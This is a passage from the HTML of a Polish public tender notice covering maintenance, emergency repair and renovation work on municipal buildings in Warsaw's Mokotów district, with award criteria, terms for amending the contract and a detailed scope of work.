id="ctl00_ContentPlaceHolder1_czy_obejmuje_ustanowienie"></span> <br/> Adres strony internetowej, na której będą zamieszczone dodatkowe informacje dotyczące dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie_informacje_dodatkowe"></span> <br/> W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_umowy_ramowej_dynamicznego_katalogow"></span> <br/> Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_pobranie_umowy_ramowej_dynamicznego_katalogow"></span> </div> <br/> <b>IV.1.8) Aukcja elektroniczna </b> <br/> <b> Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i> <span id="ctl00_ContentPlaceHolder1_aukcja_elektroniczna">Nie</span> <br/> Należy podać adres strony internetowej, na której aukcja będzie prowadzona: <br/> <span id="ctl00_ContentPlaceHolder1_adres_strony_na_ktorej_bedzie_prowadzona"></span> <br/> <b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b> <span id="ctl00_ContentPlaceHolder1_elementy_aukcji_elektronicznej"></span> <br/> <b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b> <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenia_do_przedstawianych_wartosci"></span> <br/> Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie termin ich udostępnienia: <span id="ctl00_ContentPlaceHolder1_informaje_udostepnione_wykonawcom"></span> <br/> Informacje dotyczące przebiegu aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_informaje_przebiegu_aukcji"></span> <br/> Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): <span id="ctl00_ContentPlaceHolder1_warunki_do_licytacji"></span> <br/> Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń: <span id="ctl00_ContentPlaceHolder1_wykorzystanie_sprzetu_elektronicznego"></span> <br/> Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_wymagania_dotyczace_rejestracji_wyk_aukcja"></span> <br/> Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa"></span> <br/>Czas trwania: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa_czas"></span> <br /> <br/> Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_wykonawcy_zakwalfikowani"></span> <br/> Warunki zamknięcia aukcji elektronicznej: <br/> <span id="ctl00_ContentPlaceHolder1_warunki_zamkniecia_aukcji"></span> </div> <br/> <b>IV.2) KRYTERIA OCENY OFERT </b> <br/> <b>IV.2.1) Kryteria oceny ofert: </b> <br/> <b>IV.2.2) Kryteria</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kryteria</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Znaczenie</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>cena (z VAT) za wykonanie zamówienia w/g kosztorysu Ofertowego Wykonawcy sporządzonego na postawie ramowego przedmiaru robót </TD><TD style='border: 1px solid black;border-collapse: collapse;'>30,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>cena- stawka roboczogodziny kosztorysowej Rbrutto = [(Rnetto+Kp+Z)] z VAT </TD><TD style='border: 1px solid black;border-collapse: collapse;'>15,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>cena - dodatek za drobne naprawy (D) z VAT </TD><TD style='border: 1px solid black;border-collapse: collapse;'>15,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy </TD><TD style='border: 1px solid black;border-collapse: collapse;'>20,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>. czas przystąpienia do usunięcia zgłoszonej awarii </TD><TD style='border: 1px solid black;border-collapse: collapse;'>20,00</TD></TR></TABLE> <br/> <b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony) <br/> <span id="ctl00_ContentPlaceHolder1_zastosowanie_procedury_pzp">Nie</span> <br/> <b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b> <br/> <b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b> <br/> Minimalne wymagania, które muszą spełniać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_minimalne_wymagania"></span> <br/> Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziane_jest_zastrzezenie"></span> <br/> Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert: <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziany_podzial"></span> <br/> Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów): <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_etapy_negocjacji"></span> <br/> Informacje dodatkowe <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_dodatkowe_informacje"></span> <br/> <br/> <b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b> <br/> Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_opis_potrzeb"></span> <br/> Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_informacja_wysokosc_nagrod"></span> <br/> Wstępny harmonogram postępowania: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_wstepny_harmonogram"></span> <br/> Podział dialogu na etapy w celu ograniczenia liczby rozwiązań: <span id="ctl00_ContentPlaceHolder1_IV_3_2_PodzialDialogu"></span> <br/> Należy podać informacje na temat etapów dialogu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_EtapyDialogu"></span> <br/> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_DodatkoweInformacje"></span> <br/> <b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b> <br/> Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_ElementyOpisu"></span> <br/> Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_PodzialNegocjacji"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_DodatkoweInfo"></span> <br/> <b>IV.4) Licytacja elektroniczna </b> <br/> Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_6"></span> </div> Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_7"></span> </div> Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_8"></span> </div> Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_9"></span> </div> Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa"></span> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa_czas"> Czas trwania: </span> <br /> <br/> Wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_4_10_wykonawcy_zakwalfikowani"></span> </div> Termin składania wniosków o dopuszczenie do udziału w licytacji elektronicznej: <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_11_data"></span> godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_11_godzina"></span> <br/> Termin otwarcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_12"></span> </div> Termin i warunki zamknięcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_13"></span> </div> <br/> Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_IstotnePostanowienia"></span> </div> <br/> Wymagania dotyczące zabezpieczenia należytego wykonania umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_14"></span> </div> <br/> Informacje dodatkowe: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_LicytacjeDodatkoweInformacje"></span> </div> <b>IV.5) ZMIANA UMOWY</b> <br/> <b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy">Tak</span> <br/> Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian: <br/> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy_tekst">Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 4.	gdy Wykonawcę ma zastąpić inny podmiot:4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 7.	zmiany wysokości wynagrodzenia w przypadku:7.1. zmiany stawki podatku od towarów i usług;7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.7.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.7.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 7.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.7.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.7.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.</span> <br/> <b>IV.6) INFORMACJE ADMINISTRACYJNE </b> <br/> <br /> <b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i> <br /> <span id="ctl00_ContentPlaceHolder1_IV_6_1_sposob_udostepniania"></span> <br/> <b>Środki służące ochronie informacji o charakterze poufnym</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_1_srodki_ochrony"></span> <br/> <b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b> <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_4_data">2019-10-10</span>, godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_4_godzina">10:00</span>, <br/> Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem): <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_SkrocenieTerminu">Nie</span> <br/> Wskazać powody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_Powody"></span> <br/> Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu <br/>> <span id="ctl00_ContentPlaceHolder1_IV_4_4_jezyki"></span> <br/> <b>IV.6.3) Termin związania ofertą: </b> do: <span id="ctl00_ContentPlaceHolder1_IV_4_5_data"></span> okres w dniach: <span id="ctl00_ContentPlaceHolder1_IV_4_5_okres">30</span> (od ostatecznego terminu składania ofert) <br/> <b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b> <span id="ctl00_ContentPlaceHolder1_IV_4_17">Nie</span> <br/> <b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b> <span id="ctl00_ContentPlaceHolder1_IV_6_5">Nie</span> <br/> <b>IV.6.6) Informacje dodatkowe:</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_6"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: center"> <u> ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH </u> </div> <br /> <div> <br /> <table><tr><td><b>Część nr: </b></td><td>1</td><td><b>Nazwa: </b></td><td>Służewiec</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu:1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym:2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia).8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, 